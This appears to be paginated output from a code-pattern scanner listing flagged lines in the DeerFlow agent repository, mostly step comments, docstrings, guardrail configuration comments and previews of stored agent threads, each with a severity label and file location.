| LOW⚡ | backend/tests/test_client_e2e.py | 639 | # Step 10: Configuration management (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 776 | # Step 11: Memory access (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 295 | # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True | COMMENT |
| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 302 | # Step 2: Now trigger handler that raises GraphBubbleUp | COMMENT |
| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 323 | # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True | COMMENT |
| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 330 | # Step 2: Now trigger handler that raises GraphBubbleUp | COMMENT |
| LOW⚡ | backend/tests/test_client.py | 2545 | # Step 2: List | COMMENT |
| LOW⚡ | backend/tests/test_client.py | 2550 | # Step 3: Delete one | COMMENT |
| LOW⚡ | backend/tests/test_client.py | 2554 | # Step 4: Verify deletion | COMMENT |
| LOW | backend/tests/test_client.py | 2533 | # Step 1: Upload | COMMENT |
| LOW | backend/tests/test_client.py | 2942 | # Step 1: Install | COMMENT |
| LOW | backend/tests/test_client.py | 2954 | # Step 2: List and find it | COMMENT |
| LOW | backend/tests/test_client.py | 2966 | # Step 3: Disable it | COMMENT |
| LOW⚡ | backend/tests/test_mcp_config_secrets.py | 361 | # Step 1: Server returns masked config (simulates GET response) | COMMENT |
| LOW⚡ | backend/tests/test_mcp_config_secrets.py | 366 | # Step 2: Frontend toggles enabled and sends back (simulates PUT request) | COMMENT |
| LOW⚡ | backend/tests/test_mcp_config_secrets.py | 369 | # Step 3: Server merges with existing secrets (simulates PUT handler) | COMMENT |
| LOW | backend/docs/SSO.md | 56 | ### Step 1: Enable OIDC in `config.yaml` | COMMENT |
| LOW | backend/docs/SSO.md | 76 | ### Step 2: Set the client secret as an environment variable | COMMENT |
| LOW | backend/docs/SSO.md | 88 | ### Step 3: Restart the backend | COMMENT |
| LOW⚡ | backend/packages/harness/deerflow/subagents/registry.py | 122 | # Step 1: Look up built-in, then fall back to custom_agents | COMMENT |
| LOW⚡ | backend/packages/harness/deerflow/subagents/registry.py | 131 | # Step 2: Apply per-agent overrides from config.yaml agents section. | COMMENT |
| LOW | …arness/deerflow/community/aio_sandbox/local_backend.py | 677 | # Step 1: enumerate container names via docker ps | COMMENT |
| LOW | …arness/deerflow/community/aio_sandbox/local_backend.py | 712 | # Step 2: batched docker inspect — single subprocess call for all containers | COMMENT |
| LOW | …owers/plans/2026-06-08-minimax-generation-providers.md | 1430 | ### Step 1: Understand Requirements | COMMENT |
| LOW | …owers/plans/2026-06-08-minimax-generation-providers.md | 1435 | ### Step 2: Create the Spec JSON | COMMENT |
| LOW | …owers/plans/2026-06-08-minimax-generation-providers.md | 1459 | ### Step 3: Execute Generation | COMMENT |
| LOW | skills/public/music-generation/SKILL.md | 16 | ### Step 1: Understand Requirements | COMMENT |
| LOW | skills/public/music-generation/SKILL.md | 21 | ### Step 2: Create the Spec JSON | COMMENT |
| LOW | skills/public/music-generation/SKILL.md | 45 | ### Step 3: Execute Generation | COMMENT |
| LOW⚡ | skills/public/image-generation/SKILL.md | 21 | ### Step 1: Understand Requirements | COMMENT |
| LOW⚡ | skills/public/image-generation/SKILL.md | 31 | ### Step 2: Create Structured Prompt | COMMENT |
| LOW⚡ | skills/public/image-generation/SKILL.md | 35 | ### Step 3: Execute Generation | COMMENT |
| LOW | skills/public/surprise-me/SKILL.md | 12 | ### Step 1: Discover Available Skills | COMMENT |
| LOW | skills/public/surprise-me/SKILL.md | 16 | ### Step 2: Plan the Surprise | COMMENT |
| LOW⚡ | skills/public/surprise-me/SKILL.md | 33 | ### Step 3: Fallback — No Other Skills Available | COMMENT |
| LOW⚡ | skills/public/surprise-me/SKILL.md | 41 | ### Step 4: Execute | COMMENT |
| LOW⚡ | skills/public/surprise-me/SKILL.md | 48 | ### Step 5: Reveal | COMMENT |
| LOW | skills/public/find-skills/SKILL.md | 35 | ### Step 1: Understand What They Need | COMMENT |
| LOW | skills/public/find-skills/SKILL.md | 43 | ### Step 2: Search for Skills | COMMENT |
| LOW | skills/public/find-skills/SKILL.md | 66 | ### Step 3: Present Options to the User | COMMENT |
| 64 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/CONTRIBUTING.md | 131 | Create a chat model instance from configuration. Args: name: The model name as defined in config.yaml | STRING |
| HIGH | backend/app/gateway/path_utils.py | 12 | Resolve a virtual path to the actual filesystem path under thread user-data. Args: thread_id: The thread ID | STRING |
| HIGH | backend/app/gateway/routers/models.py | 143 | Get a specific model by name. Args: model_name: The unique name of the model to retrieve. Returns: | STRING |
| HIGH | backend/app/gateway/routers/agents.py | 239 | Check whether an agent name is valid and not yet taken. Args: name: The agent name to check. Returns: | STRING |
| HIGH | backend/app/gateway/routers/agents.py | 268 | Get a specific custom agent by name. Args: name: The agent name. Returns: Agent details includ | STRING |
| HIGH | backend/app/gateway/routers/agents.py | 306 | Create a new custom agent. Args: request: The agent creation request. Returns: The created age | STRING |
| HIGH | backend/app/gateway/routers/agents.py | 363 | Update an existing custom agent. Args: name: The agent name. request: The update request (all field | STRING |
| HIGH | backend/app/gateway/routers/mcp.py | 1098 | Update the MCP configuration. This will: 1. Save the new configuration to the mcp_config.json file 2. Reloa | STRING |
| HIGH | backend/app/gateway/routers/artifacts.py | 350 | Get an artifact file by its path. The endpoint automatically detects file types and returns appropriate content typ | STRING |
| HIGH | backend/app/gateway/auth/repositories/base.py | 27 | Create a new user. Args: user: User object to create Returns: Created User wit | STRING |
| HIGH | backend/app/gateway/auth/repositories/base.py | 69 | Update an existing user. Args: user: User object with updated fields Returns: | STRING |
| HIGH | backend/packages/harness/deerflow/client.py | 1240 | Update MCP server configurations. Writes to extensions_config.json and reloads the cache. Args: | STRING |
| HIGH | backend/packages/harness/deerflow/client.py | 1299 | Update a skill's enabled status. Args: name: Skill name. enabled: New enabled status. | STRING |
| HIGH | backend/packages/harness/deerflow/client.py | 1395 | Install a skill from a .skill archive (ZIP). Args: skill_path: Path to the .skill file. Re | STRING |
| HIGH | backend/packages/harness/deerflow/client.py | 1513 | Upload local files into a thread's uploads directory. For PDF, PPT, Excel, and Word files, they are also conver | STRING |
| HIGH | backend/packages/harness/deerflow/client.py | 1639 | Delete a file from a thread's uploads directory. Args: thread_id: Thread ID. filename: | STRING |
| HIGH | backend/packages/harness/deerflow/client.py | 1664 | Read an artifact file produced by the agent. Args: thread_id: Thread ID. path: Virtual | STRING |
| HIGH | backend/packages/harness/deerflow/tools/sync.py | 39 | Build a synchronous wrapper for an asynchronous tool coroutine. Args: coro: Async callable backing a LangCh | STRING |
| HIGH | …kend/packages/harness/deerflow/config/agents_config.py | 298 | Load the custom or default agent's config. Dispatches to the configured agent store (``agent_storage.backend``): th | STRING |
| HIGH | backend/packages/harness/deerflow/config/paths.py | 435 | Resolve a sandbox virtual path to the actual host filesystem path. Args: thread_id: The thread ID. | STRING |
| HIGH | …/packages/harness/deerflow/config/extensions_config.py | 343 | Resolve the extensions config file path. Priority: 1. If provided `config_path` argument, use it. | STRING |
| HIGH | backend/packages/harness/deerflow/uploads/manager.py | 49 | Sanitize a filename by extracting its basename. Strips any directory components and rejects traversal patterns. | STRING |
| HIGH | backend/packages/harness/deerflow/uploads/manager.py | 322 | Delete a file inside *base_dir* after path-traversal validation. If *convertible_extensions* is provided and the fi | STRING |
| HIGH | backend/packages/harness/deerflow/utils/network.py | 59 | Allocate an available port in a thread-safe manner. This method is thread-safe. It finds an available port, mar | STRING |
| HIGH | backend/packages/harness/deerflow/utils/network.py | 114 | Get a free port in a thread-safe manner. This function uses a global port allocator to ensure that concurrent calls | STRING |
| HIGH | backend/packages/harness/deerflow/sandbox/tools.py | 292 | Resolve a virtual skills path to a host filesystem path. WARNING: For per-user custom skills (``/mnt/skills/custom/ | STRING |
| HIGH | backend/packages/harness/deerflow/sandbox/tools.py | 472 | Resolve a virtual ACP workspace path to a host filesystem path. Args: path: Virtual path (e.g. /mnt/acp-wor | STRING |
| HIGH | backend/packages/harness/deerflow/sandbox/tools.py | 1375 | Ensure sandbox is initialized, acquiring lazily if needed. On first call, acquires a sandbox from the provider and | STRING |
| HIGH | backend/packages/harness/deerflow/sandbox/sandbox.py | 63 | Execute bash command in sandbox. Args: command: The command to execute. env: Optional p | STRING |
| HIGH | backend/packages/harness/deerflow/sandbox/sandbox.py | 114 | Download the binary content of a file. Args: path: The absolute path of the file to download. | STRING |
| HIGH | …arness/deerflow/community/aio_sandbox/local_backend.py | 529 | Start a new container and return its connection info. Args: thread_id: Thread ID for which the sand | STRING |
| HIGH | …arness/deerflow/community/aio_sandbox/local_backend.py | 792 | Start a new container. Args: container_name: Name for the container. port: Host port to | STRING |
| HIGH | …deerflow/community/aio_sandbox/aio_sandbox_provider.py | 2010 | Create a new sandbox via the backend. Args: thread_id: Optional thread ID. sandbox_id: | STRING |
| HIGH | …rness/deerflow/community/aio_sandbox/ownership/base.py | 112 | Take ownership of *sandbox_id* only if it is unowned or already ours. Exclusive: succeeds only when the contain | STRING |
| HIGH | …kend/packages/harness/deerflow/reflection/resolvers.py | 29 | Resolve a variable from a path. Args: variable_path: The path to the variable (e.g. "parent_package_name.su | STRING |
| HIGH | …kend/packages/harness/deerflow/reflection/resolvers.py | 74 | Resolve a class from a module path and class name. Args: class_path: The path to the class (e.g. "langchain | STRING |
| HIGH | docs/SKILL_NAME_CONFLICT_FIX.md | 214 | Find a skill by name, optionally filtered by category. Args: skills: List of all skills skill_n | STRING |
| HIGH | skills/public/code-documentation/SKILL.md | 273 | Process data from the given file path. Reads the input file, applies transformations based on the provided opti | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | CHANGELOG.md | 239 | #### Auth & guardrails | COMMENT |
| MEDIUM | README.md | 774 | DeerFlow also supports [Monocle](https://github.com/monocle2ai/monocle), an OpenTelemetry-based tracer for agentic appli | CODE |
| MEDIUM | README.md | 784 | Each run writes one trace file to `.monocle/`; open it in the [Monocle VS Code extension](https://marketplace.visualstud | CODE |
| MEDIUM⚡ | config.example.yaml | 718 | # embedding model and retrieved with at most four groups in parallel. Group | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1121 | # Prevents oversized tool results from blowing the model context window. | COMMENT |
| MEDIUM⚡ | config.example.yaml | 1242 | # guardrails / models / tools). The built-in set covers OpenAI-compatible | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2553 | # guardrails: | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2556 | # use: deerflow.guardrails.builtin:AllowlistProvider | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2563 | # pip install aport-agent-guardrails && aport setup --framework deerflow | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2564 | # guardrails: | COMMENT |
| MEDIUM⚡ | config.example.yaml | 2570 | # guardrails: | COMMENT |
| MEDIUM | config.example.yaml | 470 | # MiniMax provides high-performance models with 512K context window and 128K max output | COMMENT |
| MEDIUM | config.example.yaml | 534 | # MiniMax provides high-performance models with 512K context window and 128K max output | COMMENT |
| MEDIUM | AGENTS.md | 57 | ├── Makefile # Root orchestration: drives the full stack (dev/start/stop, docker, setup) | CODE |
| MEDIUM | AGENTS.md | 73 | ├── scripts/ # Root orchestration scripts invoked by the Makefile (check, configure, doctor, supp | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 104 | "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 104 | "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 104 | "content": "[\n {\n \"title\": \"The Most Impactful Business Technology Trends To Watch In 2026\",\n \"ur | CODE |
| MEDIUM | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 269 | "content": "[\n {\n \"title\": \"Top Technology Trends to Watch in 2026: AI, Quantum Computing ...\",\n \ | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 383 | "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 383 | "content": "# The AI advantage dilemma: Security risks and opportunities that lie ahead\n\nEscalating the AI arm | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 753 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/7cfa5f8f-a2f8-47ad-acbd-da7137baf990/thread.json | 753 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json | 563 | "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u | CODE |
| MEDIUM⚡ | …reads/3823e443-4e2b-4679-b496-a9506eae462b/thread.json | 563 | "content": "[\n {\n \"title\": \"Fei-Fei Li on spatial intelligence and human-centered AI - IMDb\",\n \"u | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 313 | "content": "# 🦌 DeerFlow\n\n[](https://www.py | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 694 | "content": "[\n {\n \"title\": \"fanqingsong/deer-flow - GitHub\",\n \"url\": \"https://github.com/fanqin | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 732 | "content": "# DeerFlow: A Game-Changer for Automated Research and Content Creation | by heavendai | Medium\n\n[S | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1406 | "content": "# DeerFlow Deep Research Report\n\n- **Research Date:** 2026-02-01\n- **Timestamp:** 2026-02-0 | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1667 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM⚡ | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1667 | "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n <meta charset=\"UTF-8\">\n <meta name=\"vi | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 199 | "content": "{\n \"name\": \"bytedance/deer-flow\",\n \"description\": \"DeerFlow is a community-driven Deep Re | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 618 | "content": "[\n {\n \"title\": \"Create Your Own Deep Research Agent with DeerFlow\",\n \"url\": \"https: | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 656 | "content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequence | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 656 | "content": "# The Sequence Engineering #661: Create Your Own Deep Research Agent with DeerFlow\n\n[![TheSequence | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1149 | "content": "[\n {\n \"title\": \"[Up-to-date] Awesome Agentic Deep Research Resources - GitHub\",\n \"url | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1226 | "content": "[\n {\n \"title\": \"DeerFlow\",\n \"url\": \"https://deerflow.tech/\",\n \"snippet\": \"M | CODE |
| MEDIUM | …reads/fe3f7974-1bcb-4a01-a950-79673baafefd/thread.json | 1765 | "content": "I've created a **stylish, production-grade webpage** based on the DeerFlow research report. Here's w | CODE |
| MEDIUM | deploy/helm/deer-flow/values.yaml | 317 | # datasets are grouped by embedding model with up to four parallel retrieval | COMMENT |
| MEDIUM⚡ | backend/tests/test_suggestions_router.py | 65 | # MiniMax-M3 inlines its chain-of-thought as <think>...</think> in content | COMMENT |
| MEDIUM⚡ | …kend/tests/monocle/traces/web_research_ev_battery.json | 74 | "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in | CODE |
| MEDIUM⚡ | …kend/tests/monocle/traces/web_research_ev_battery.json | 236 | "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in | CODE |
| MEDIUM⚡ | …kend/tests/monocle/traces/web_research_ev_battery.json | 510 | "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in | CODE |
| MEDIUM⚡ | …kend/tests/monocle/traces/web_research_ev_battery.json | 731 | "{\"system\": \"\\n<role>\\nYou are DeerFlow 2.0, an open-source super agent.\\n</role>\\n\\nUser in | CODE |
| MEDIUM | backend/docs/GUARDRAILS.md | 155 | [APort Agent Guardrails](https://github.com/aporthq/aport-agent-guardrails) is one open-source (Apache 2.0) implementati | CODE |
| MEDIUM | backend/docs/task_tool_improvements.md | 121 | _scheduler_pool.submit(run_task) # Submit orchestration task | CODE |
| MEDIUM | …ckend/packages/harness/deerflow/agents/memory/tools.py | 156 | # The staleness age/category/removal-count guardrails protect automatic | COMMENT |
| MEDIUM | …low/agents/middlewares/safety_termination_detectors.py | 127 | https://platform.claude.com/docs/en/test-and-evaluate/strengthen-guardrails/handle-streaming-refusals | STRING |
| MEDIUM | docs/plans/2026-07-10-pluggable-authorization-rfc.md | 433 | # When authorization.enabled and guardrails.provider is unset, the authorization | COMMENT |
| MEDIUM | docs/plans/2026-07-10-pluggable-authorization-rfc.md | 435 | # (e.g. OAP) AS WELL, set guardrails.provider explicitly; both then enforce. | COMMENT |
| MEDIUM | docs/plans/2026-07-10-pluggable-authorization-rfc.md | 510 | - **[#3664](https://github.com/bytedance/deer-flow/issues/3664) / PR [#3665](https://github.com/bytedance/deer-flow/pull | CODE |
| MEDIUM | docs/plans/2026-07-10-pluggable-authorization-rfc.md | 510 | - **[#3664](https://github.com/bytedance/deer-flow/issues/3664) / PR [#3665](https://github.com/bytedance/deer-flow/pull | CODE |
| MEDIUM | scripts/support_bundle.py | 32 | # inside an open-ended config dict (e.g. guardrails.provider.config, which is an | COMMENT |
| MEDIUM | .github/workflows/triage.yml | 3 | # One workflow for all event-driven PR/issue labeling. Replaces the former | COMMENT |
| MEDIUM | .github/workflows/triage.yml | 58 | ['area:backend', [/^backend\/app\//, /^backend\/packages\/harness\/deerflow\/(runtime|persistence|config| | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | backend/tests/test_serper_tools.py | 0 | reset the module-level warning flag before each test. | STRING |
| HIGH | backend/tests/test_brave_tools.py | 0 | reset the module-level warning flag before each test. | STRING |
| HIGH | backend/tests/test_serply_tools.py | 0 | reset the module-level warning flag before each test. | STRING |
| HIGH | …ages/harness/deerflow/runtime/checkpointer/provider.py | 0 | create the configured schema before langgraph creates its store tables. | STRING |
| HIGH | …arness/deerflow/runtime/checkpointer/async_provider.py | 0 | create the configured schema before langgraph creates its store tables. | STRING |
| HIGH | …nd/packages/harness/deerflow/runtime/store/provider.py | 0 | create the configured schema before langgraph creates its store tables. | STRING |
| HIGH | …kages/harness/deerflow/runtime/store/async_provider.py | 0 | create the configured schema before langgraph creates its store tables. | STRING |
| HIGH | …/packages/harness/deerflow/community/crawl4ai/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …packages/harness/deerflow/community/firecrawl/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …d/packages/harness/deerflow/community/fastcrw/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …ckend/packages/harness/deerflow/community/exa/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …d/packages/harness/deerflow/community/jina_ai/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …nd/packages/harness/deerflow/community/tavily/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …packages/harness/deerflow/community/infoquest/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …ckages/harness/deerflow/community/browserless/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …ckages/harness/deerflow/community/groundroute/tools.py | 0 | fetch the contents of a web page at a given url via groundroute. only fetch exact urls that have been provided directly | STRING |
| HIGH | …packages/harness/deerflow/community/firecrawl/tools.py | 0 | search the web. args: query: the query to search for. | STRING |
| HIGH | …d/packages/harness/deerflow/community/fastcrw/tools.py | 0 | search the web. args: query: the query to search for. | STRING |
| HIGH | …ckend/packages/harness/deerflow/community/exa/tools.py | 0 | search the web. args: query: the query to search for. | STRING |
| HIGH | …nd/packages/harness/deerflow/community/tavily/tools.py | 0 | search the web. args: query: the query to search for. | STRING |
| HIGH | …packages/harness/deerflow/community/infoquest/tools.py | 0 | search the web. args: query: the query to search for. | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | config.example.yaml | 804 | # Create a service API key in the Tencent Cloud WSA console, then set | COMMENT |
| MEDIUM | …reads/ad76c455-5bf9-4335-8517-fc03834ab828/thread.json | 202 | "content": "import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sn | CODE |
| MEDIUM | backend/app/gateway/auth/credential_file.py | 38 | f"# DeerFlow admin {label} credentials\n# This file is generated on first boot or password reset.\n# Change the | CODE |
| MEDIUM | backend/app/channels/manager.py | 2475 | # Create a new thread through Gateway | COMMENT |
| MEDIUM | backend/tests/test_multi_worker_run_ownership.py | 512 | # Create a live local run | COMMENT |
| MEDIUM | backend/tests/test_multi_worker_run_ownership.py | 1010 | # Create a run owned by a different worker | COMMENT |
| MEDIUM | backend/tests/test_multi_worker_run_ownership.py | 1179 | # Create an active run with an expired lease (simulating a crashed worker) | COMMENT |
| MEDIUM | backend/tests/test_multi_worker_run_ownership.py | 2175 | # Create a run that this worker owns | COMMENT |
| MEDIUM | backend/tests/test_sandbox_search_tools.py | 542 | # Create a sandbox with PathMappings that use user-abc's directory | COMMENT |
| MEDIUM⚡ | backend/tests/test_client_e2e.py | 502 | # Create an output file in the thread's outputs directory | COMMENT |
| MEDIUM⚡ | backend/tests/test_channel_file_attachments.py | 108 | # Create the directory structure: threads/{thread_id}/user-data/outputs/ | COMMENT |
| MEDIUM | backend/tests/test_run_manager.py | 1311 | # Create a run and let it complete (will be in both memory and store) | COMMENT |
| MEDIUM | backend/tests/test_custom_agent.py | 445 | # Create the agents dir with a file (not a dir) | COMMENT |
| MEDIUM | backend/tests/test_custom_agent.py | 676 | # Create an agent through the API, then hand-author a github: block | COMMENT |
| MEDIUM⚡ | backend/tests/test_client.py | 2139 | # Create a source file | COMMENT |
| MEDIUM⚡ | backend/tests/test_client.py | 3339 | # Create a small archive that claims huge uncompressed size. | COMMENT |
| MEDIUM⚡ | backend/tests/test_client.py | 3803 | # Create a target file outside uploads dir. | COMMENT |
| MEDIUM⚡ | backend/tests/test_client.py | 3807 | # Create a symlink inside uploads dir pointing to outside file. | COMMENT |
| MEDIUM | backend/tests/test_client.py | 1942 | # Create a valid .skill archive | COMMENT |
| MEDIUM⚡ | backend/tests/test_skills_custom_router.py | 1025 | # Create a public skill | COMMENT |
| MEDIUM⚡ | backend/tests/test_skills_custom_router.py | 1030 | # Create a global custom skill (LEGACY fallback for users without per-user dir) | COMMENT |
| MEDIUM⚡ | backend/tests/test_skills_custom_router.py | 1035 | # Create a per-user custom skill | COMMENT |
| MEDIUM | backend/tests/test_skills_custom_router.py | 300 | # Create a skill in user-level custom dir | COMMENT |
| MEDIUM | backend/packages/harness/deerflow/subagents/executor.py | 938 | # Create a new result for synchronous execution | COMMENT |
| MEDIUM | backend/packages/harness/deerflow/subagents/executor.py | 1300 | # Create a result with error if we don't have one | COMMENT |
| MEDIUM | …eerflow/agents/middlewares/clarification_middleware.py | 529 | # Create a ToolMessage with the formatted question | COMMENT |
| MEDIUM | backend/packages/harness/deerflow/mcp/tools.py | 774 | # Create the multi-server MCP client | COMMENT |
| MEDIUM | backend/packages/harness/deerflow/sandbox/tools.py | 1541 | # Create the three directories | COMMENT |
| MEDIUM | scripts/deploy.sh | 161 | # Create a minimal empty config so the gateway doesn't fail on startup | COMMENT |
| MEDIUM | .github/labels.yml | 3 | # This file is the single source of truth for repository labels used by the | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | …reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json | 168 | "content": "---\nname: video-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/4f3e55ee-f853-43db-bfb3-7d1a411f03cb/thread.json | 365 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/b83fbb2a-4e36-4d82-9de0-7b2a02c2092a/thread.json | 64 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/7f9dc56c-e49c-4671-a3d2-c492ff4dce0c/thread.json | 54 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/90040b36-7eba-4b97-ba89-02c3ad47a8b9/thread.json | 54 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | …reads/21cfea46-34bd-4aa6-9e1f-3009452fbeb9/thread.json | 186 | "content": "---\nname: image-generation\ndescription: Use this skill when the user requests to generate, create, | CODE |
| LOW⚡ | backend/tests/test_multi_worker_run_ownership.py | 2251 | # Step 1: cancel(action=rollback) flips running → interrupted | COMMENT |
| LOW⚡ | backend/tests/test_multi_worker_run_ownership.py | 2257 | # Step 2: worker.py finalize path — task raises CancelledError, then | COMMENT |
| LOW | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 82 | # Step 1: Start a container (simulating previous process lifecycle) | COMMENT |
| LOW | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 94 | # Step 2: Create backend and list running containers | COMMENT |
| LOW⚡ | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 105 | # Step 3: list_running should find our container | COMMENT |
| LOW⚡ | backend/tests/test_sandbox_orphan_reconciliation_e2e.py | 110 | # Step 4: Simulate reconciliation — this container's created_at is recent, | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 166 | # Step 2: Basic streaming (requires LLM) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 227 | # Step 3: Tool call flow (requires LLM) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 263 | # Step 4: File upload integration (no LLM needed for most) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 347 | # Step 5: Lifecycle and configuration (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 404 | # Step 6: Middleware chain verification (requires LLM) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 442 | # Step 7: Error and boundary conditions | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 487 | # Step 8: Artifact access (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 542 | # Step 9: Skill installation (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 639 | # Step 10: Configuration management (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_client_e2e.py | 776 | # Step 11: Memory access (no LLM needed) | COMMENT |
| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 295 | # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True | COMMENT |
| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 302 | # Step 2: Now trigger handler that raises GraphBubbleUp | COMMENT |
| LOW⚡ | backend/tests/test_llm_error_handling_middleware.py | 323 | # Step 1: Manually set state to half_open and check_circuit() to set probe_in_flight=True | COMMENT |
